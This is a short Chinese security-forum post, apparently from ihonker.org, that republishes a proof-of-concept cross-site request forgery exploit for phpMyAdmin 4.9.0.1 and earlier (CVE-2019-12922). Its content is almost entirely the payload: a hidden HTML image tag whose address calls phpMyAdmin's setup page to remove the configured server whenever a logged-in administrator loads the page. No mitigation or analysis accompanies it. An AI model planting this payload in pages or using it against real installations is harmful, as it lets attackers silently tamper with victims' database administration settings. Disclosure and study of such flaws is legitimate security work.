phpMyAdmin 4.9.0.1 CSRF

TA的每日心情

	擦汗前天 10:00

签到天数: 1561 天

[LV.Master]伴坛终老

发表于 2019-9-20 23:06:47 | 显示全部楼层 |阅读模式

CVE-ID: CVE-2019-12922

phpMyAdmin <= 4.9.0.1

Exploit CSRF - Deleting main server

[AppleScript] 纯文本查看 复制代码

<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />

官方QQ群：112851260

官方邮箱：security#ihonker.org（#改成@）

GMT+8, 2024-4-25 16:30 , Processed in 0.025379 second(s), 12 queries , Gzip On, MemCache On.

返回顶部